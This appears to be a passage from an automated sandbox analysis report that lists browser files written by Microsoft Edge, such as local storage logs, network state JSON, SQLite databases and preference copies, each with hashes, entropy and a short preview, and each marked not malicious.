Preview:	=.%.z................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":805}.!_https://ntp.msn.com..LastKnownPV..1732532933701.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732532934689.._https://ntp.msn.com..MUID!.0A576580DC7A6D0124D170C2DDEE6CAA.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732532933772,"schedule":[20,-1,9,18,-1,-1,-1],"scheduleFixed":[20,-1,9,18,-1,-1,-1],"simpleSchedule":[26,16,33,40,34,22,25]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732532933652.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.247586623862757
Encrypted:	false
SSDEEP:	6:HAJSslL+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YAJSV1Zmw+YAJMBLVkwOCHhJ23oHr:gJ8vBYeb8EFUt87JI1/+7JM356Yeb8bJ
MD5:	66810DF892D8C33D819B0E9DCE9912AA
SHA1:	EF9E6CA11A54ED8EC5D527903F2EE1401EF70511
SHA-256:	923C2399475983D93E9DB205E44266383D6162ED16625A044A1898EA29A0E7CA
SHA-512:	DF18CBC4278B8394684E783CCABCB8342D729296F3D2AE5106BF6E13FF9AE021A859A65A78222E799A69FF912BD5FFC62B6DDC238F0B71999F245146A8A9EE46
Malicious:	false
Preview:	2024/11/25-06:08:36.678 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-06:08:36.679 1c98 Recovering log #3.2024/11/25-06:08:36.682 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.247586623862757
Encrypted:	false
SSDEEP:	6:HAJSslL+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YAJSV1Zmw+YAJMBLVkwOCHhJ23oHr:gJ8vBYeb8EFUt87JI1/+7JM356Yeb8bJ
MD5:	66810DF892D8C33D819B0E9DCE9912AA
SHA1:	EF9E6CA11A54ED8EC5D527903F2EE1401EF70511
SHA-256:	923C2399475983D93E9DB205E44266383D6162ED16625A044A1898EA29A0E7CA
SHA-512:	DF18CBC4278B8394684E783CCABCB8342D729296F3D2AE5106BF6E13FF9AE021A859A65A78222E799A69FF912BD5FFC62B6DDC238F0B71999F245146A8A9EE46
Malicious:	false
Preview:	2024/11/25-06:08:36.678 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-06:08:36.679 1c98 Recovering log #3.2024/11/25-06:08:36.682 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0b25ec37-c822-4711-a714-f68ef52af6a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6009456f-0656-4886-bda0-bc50a1b52559.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\665fb394-8c73-4ee6-b221-735f1c376760.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6a854b32-01e2-4583-8db8-2999f2ad48ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6aeb00b7-1fab-414e-ab66-458ed8f652df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.302653424396609
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3Rds1ZVMdmRds3pZFRudFGRw6C1E6maPsRdsFweZC52HGQYhbS77:YcCpfgCzsDtsvfc7akEsFwaCgHnYhbc
MD5:	099B68107A45B57B344578C42025C6AD
SHA1:	6B391BE9B96023375FFB2DCF76964680E5C173C3
SHA-256:	C24510BFDC7BD7AAD302F4AA1A7824844314BEC0C0C6F7C23013FBDE89665F92
SHA-512:	2BCBB1F5D389F0EB236A7D06FD253F2C7060E70E4C7CBCC475261119455C93F188EA8DFA7C6A4BB340B692132AAEA63F13C4E8C366D42327CCD836C8A6BC2CAD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379598520837377","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379598524765249","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9deeb5b4-2706-4c4a-b766-009942d4d3ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7728886656659206
Encrypted:	false
SSDEEP:	192:tTxgug2xNmIGR6BdvyOraU9OvXcf0L/ZJVb:ViugENmDRgdvyOrTAXI0LhJVb
MD5:	D3539EEEFE1A34B6CBF2904F0EDE9F9B
SHA1:	D652EB8AD8C084DE418BB8D897D090B826C4FDBF
SHA-256:	C125DD5D85D063551DB6A834FF3B67787C2C447D17ACDFA826DD5E3D6B3D4127
SHA-512:	14679ECB730DBBA115B6BE1A6B60AE145CCF49702214BBDABD65AEE4C6886FB5A896998CA0689702C65D27F38A0F8CF994596F0892E6B9343823036D56348D1C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3bdf2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.277719785052724
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBon:JkIEumQv8m1ccnvS6namdKiiaz1a
MD5:	C77D6F32E4DE649DDF15EA2AACBDFCFE
SHA1:	51C9DAA0C86E5A5CBC31D7CA63F5A41C2F2B8559
SHA-256:	0F095DEC4973453FBA2F62709911B8DDCE8E0F19FE55428B4EDD7274D7F9680E
SHA-512:	9679604A9D8BB8E307546AED6F0B4AADB312F0110D7913291C9CD48F0DA286780C0A3C3C1F68F3D6CC70CA6D87264E7001EDBF325898462F8FCC1DD3E48800E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2adab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2c3d3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	5.109678738418207
Encrypted:	false
SSDEEP:	192:stKkdpksdCZ5Ia34HkZ6+87bV+F0c8QA4Pq7NIoPGCYJ:stKQksdI5XEbGqQxS7NIB
MD5:	BC25E3C21020725BCF82C42287930DAE
SHA1:	5CD6801682CCE63A4C3D27657B8116473DBB05AA
SHA-256:	45C3F05693B4C73FD698334BBEC5583EBF66F5C9122D37B2549018108CA83127
SHA-512:	495C1CCA1646729DB9F4E6BC9D0771793DB27E2C457A593FF32C49D930DAF608AB64B5E7ADF694808C3E3F9E8F1AD2A5540E246859003B0E6FF5C643FBB8E6A1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ed44.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	5.109678738418207
Encrypted:	false
SSDEEP:	192:stKkdpksdCZ5Ia34HkZ6+87bV+F0c8QA4Pq7NIoPGCYJ:stKQksdI5XEbGqQxS7NIB
MD5:	BC25E3C21020725BCF82C42287930DAE
SHA1:	5CD6801682CCE63A4C3D27657B8116473DBB05AA
SHA-256:	45C3F05693B4C73FD698334BBEC5583EBF66F5C9122D37B2549018108CA83127
SHA-512:	495C1CCA1646729DB9F4E6BC9D0771793DB27E2C457A593FF32C49D930DAF608AB64B5E7ADF694808C3E3F9E8F1AD2A5540E246859003B0E6FF5C643FBB8E6A1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF315fa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	5.109678738418207
Encrypted:	false
SSDEEP:	192:stKkdpksdCZ5Ia34HkZ6+87bV+F0c8QA4Pq7NIoPGCYJ:stKQksdI5XEbGqQxS7NIB
MD5:	BC25E3C21020725BCF82C42287930DAE
SHA1:	5CD6801682CCE63A4C3D27657B8116473DBB05AA
SHA-256:	45C3F05693B4C73FD698334BBEC5583EBF66F5C9122D37B2549018108CA83127
SHA-512:	495C1CCA1646729DB9F4E6BC9D0771793DB27E2C457A593FF32C49D930DAF608AB64B5E7ADF694808C3E3F9E8F1AD2A5540E246859003B0E6FF5C643FBB8E6A1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF34dd3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	5.109678738418207
Encrypted:	false
SSDEEP:	192:stKkdpksdCZ5Ia34HkZ6+87bV+F0c8QA4Pq7NIoPGCYJ:stKQksdI5XEbGqQxS7NIB
MD5:	BC25E3C21020725BCF82C42287930DAE
SHA1:	5CD6801682CCE63A4C3D27657B8116473DBB05AA
SHA-256:	45C3F05693B4C73FD698334BBEC5583EBF66F5C9122D37B2549018108CA83127
SHA-512:	495C1CCA1646729DB9F4E6BC9D0771793DB27E2C457A593FF32C49D930DAF608AB64B5E7ADF694808C3E3F9E8F1AD2A5540E246859003B0E6FF5C643FBB8E6A1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3abe1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	5.109678738418207
Encrypted:	false
SSDEEP:	192:stKkdpksdCZ5Ia34HkZ6+87bV+F0c8QA4Pq7NIoPGCYJ:stKQksdI5XEbGqQxS7NIB
MD5:	BC25E3C21020725BCF82C42287930DAE
SHA1:	5CD6801682CCE63A4C3D27657B8116473DBB05AA
SHA-256:	45C3F05693B4C73FD698334BBEC5583EBF66F5C9122D37B2549018108CA83127
SHA-512:	495C1CCA1646729DB9F4E6BC9D0771793DB27E2C457A593FF32C49D930DAF608AB64B5E7ADF694808C3E3F9E8F1AD2A5540E246859003B0E6FF5C643FBB8E6A1
Malicious:	false
